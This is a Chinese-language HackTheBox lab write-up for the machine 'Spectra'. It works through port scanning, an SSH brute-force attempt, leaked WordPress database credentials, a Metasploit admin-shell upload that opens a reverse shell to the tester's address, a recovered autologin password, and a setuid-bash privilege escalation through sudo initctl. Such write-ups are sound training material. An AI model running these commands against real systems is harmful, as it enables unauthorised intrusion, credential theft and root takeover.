[HTB]Spectra

靶机:Spectra

难度:Easy

信息收集

nmap扫描

1
nmap --min-rate 10000 -A -p- -T4 10.10.10.229

扫描结果

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp   open  http    nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql   MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)

ssh爆破

1
hydra -l root -P /usr/share/wordlists/fasttrack.txt 10.10.10.229 ssh -v

失败

渗透过程

wordpress渗透

/etc/hosts添加10.10.10.229 spectra.htb

访问主页有两个链接,一个是wordpress站点,果断掏出我的wpscan:

1
wpscan --url http://spectra.htb/main/

扫不出啥东西。。。

另一个存在文件泄露,在wp-config.php.save文件中发现了数据库配置信息:

1
2
3
4
5
6
7
8
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );
/** MySQL database username */
define( 'DB_USER', 'devtest' );
/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

mysql只能本地连,那就后台登录,显示用户名未知,换成administrator就可以成功登录。

成功登陆后我们就可以使用msf反弹shell

use exploit/unix/webapp/wp_admin_shell_upload
set RHOST 10.10.10.229
set LHOST 10.10.16.3
set TARGETURI /main/
set USERNAME administrator
set PASSWORD devteam01
run

成功生成meterpreter,然后生成shell

meterpreter> shell

这时候是无终端状态,可以通过python3 -c "import pty;pty.spawn('/bin/bash')"生成终端,但是做题的时候直接使用会出错,仔细看报错:

cwd = os.getcwd()

路径未知导致报错,所以我们要给一个路径,先切到/tmp目录下再生成终端就能成功

cd /tmp
python3 -c "import pty;pty.spawn('/bin/bash')"

user.txt

katie用户目录下可以看到user.txt,但是由于权限问题无法读取,所以接下来的任务就是登录该用户获得flag。

进入/opt(拼运气,蒙到就是赚到),看到文件autologin.conf.orig

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
description   "Automatic login at boot"
author        "chromium-os-dev@chromium.org"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
script
  passwd=
  # Read password from file. The file may optionally end with a newline.
  for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
    if [ -e "${dir}/passwd" ]; then
      passwd="$(cat "${dir}/passwd")"
      break
    fi
  done
  if [ -z "${passwd}" ]; then
    exit 0
  fi
  # Inject keys into the login prompt.
  #
  # For this to work, you must have already created an account on the device.
  # Otherwise, no login prompt appears at boot and the injected keys do the
  # wrong thing.
  /usr/local/sbin/inject-keys.py -s "${passwd}" -k enter

虽然看不懂这脚本在干啥,但是可以看到它使用了什么目录,从目录中可以获得passwd:SummerHereWeCome!!,然后依次尝试ssh连接几个用户,成功登录katie获得user.txt(直接切换用户没成功,也不知道啥原因)

ssh katie@10.10.10.229
SummerHereWeCome!!

root.txt

通过sudo -l查看当前用户(katie)可以直接执行的二进制文件

User katie may run the following commands on spectra:
	(ALL) SETENV: NOPASSWD: /sbin/initctl

文件描述: initctl命令的作用是控制和管理init守护进程

initctl命令包含在upstart提供的命令中。upstart是使用的事件驱动的一个优化,该优化体现为启动服务A的时候,不用等待A的结束就可以启动服务B了。

initctl命令允许系统管理员与upstart init后台守护进程交互。当作为initctl运行时,第一个非选项参数是命令本身,其他参数可以在命令之前或之后指定。默认为start、stop、restart、reload和status命令。

简单来说就是initctl命令在权限允许的情况下可以启动新的进程/服务,由于默认是start等命令,这些命令的默认启动目录都是/etc/init目录,所以进入/etc/init看看有什么进程文件,有很多文件,但是一眼就能看出以test为名的"不正经"文件,读出来看看,是katie权限的进程文件。列举出所有test文件:

1
initctl list | grep test

都是stop状态,那么我们可以随便修改一个文件再启动就可以获得sudo权限。

description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown

script
   chmod +s /bin/bash
end script

启动文件

sudo /sbin/initctl start test3

最后通过命令/bin/bash -p成功提权。

总结

1、不能独立做题,过度依赖wp

2、有了用户密码没有想到尝试后台

3、渗透要使用msf,对msf了解不足

4、对Linux文件了解不够,一些命令的用法不清楚

5、提权知识不够